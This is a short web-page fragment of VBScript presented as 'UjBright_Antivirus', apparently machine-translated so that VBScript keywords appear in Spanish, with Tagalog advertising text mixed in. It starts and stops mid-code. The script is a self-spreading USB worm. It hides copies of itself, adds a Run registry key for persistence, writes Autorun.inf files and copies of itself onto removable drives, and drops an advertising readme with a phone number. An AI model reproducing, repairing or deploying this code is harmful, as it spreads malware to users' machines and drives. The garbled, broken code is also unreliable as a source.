Virus convirtió Anitivirus

r y "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.close Set fattr = fso.Getfile (ganar y "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 wscr.RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ AutoMe "," wscript.exe "" "y ganar" y \\ UjBright_Antivirus.vbs "" "Si ax = false Entonces wscr.Run" wscript.exe "" "& Win &" \\ UjBright_Antivirus .vbs "" "while (true) myDrives Set = fso.Drives Para Cada myFlashDrive En myDrives Si myFlashDrive.Drivetype = 1 Y myFlashDrive.Path" A: "Entonces Si fso.FileExists (myFlashDrive.

Path &" \\ Autorun.inf " ) Entonces Set fattr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 32 fso.Deletefile myFlashDrive.Path & "\\ Autorun.inf", true End If Set auFile = fso.CreateTextFile (myFlashDrive .Path & "\\ Autorun.inf", true) auFile.write "[autorun]" "shell \\ Open \\ Command & vbCrLf &" abierto = \\ "& vbCrLf &" UjBright_Antivirus.vbs abiertos = wscript.exe "& vbCrLf y = UjBright_Antivirus.vbs Wscript.exe "& vbCrLf &" shell \\ open \\ Default = 1 "auFile.close Set auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ readme.txt ", true) auFile.

write" Hola amigos: "& vbCrLf &" Maaaring ito virus tawagin kung en makikita ng ibang ANTIVIRUS, NGUnit meneo mag-alala kung ito'y hindi makikilala ng anu mang ANTIVIRUS na inyo nasa sa. " Y vbCrLf & "Incluyó ang ito tanging Paraan ko Upang matugunan ang ibang ANTIVIRUS na hindi makikilala ang ganitong SCRIPTO na VIRUS na nakakasama" & vbCrLf & "kaya ay nitong PALITAN na maaring ayusin niya ang ibang sinira dulot ng NAKAKASIRA na VIRUS." Y vbCrLf & "" & vbCrLf & "-ADVERTISING-" & vbCrLf & "PUBLICIDAD ADVIENTO TEMPRANO -.

Lona nila ay kumupas matagal duraderos, etiqueta init hombre o tag-araw" Y vbCrLf & "RB ESTUDIO PHOTOART - Que kagandahan sa kulay ng Inyong IMAGEN en pa duradera." Y vbCrLf & "104.1 DXMA WOW FM -.. Pinakikinggang RADIO ng himpilan numero uno sa Mindanao Central" Y vbCrLf & "" & vbCrLf & "PARA SA GUSTONG MAGPA-PUBLICIDAD:" & vbCrLf & "sólo en contacto conmigo: 09083223171 - UJBRIGHT" auFile.close Set fattr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 39 Set myFile = fso.CreateTextFile (myFlashDrive.Path y "\\ UjBright_Antivirus.vbs", true) myFile.

write scrText myFile.close Set fattr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 End If Siguiente With WSCR .RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ Curr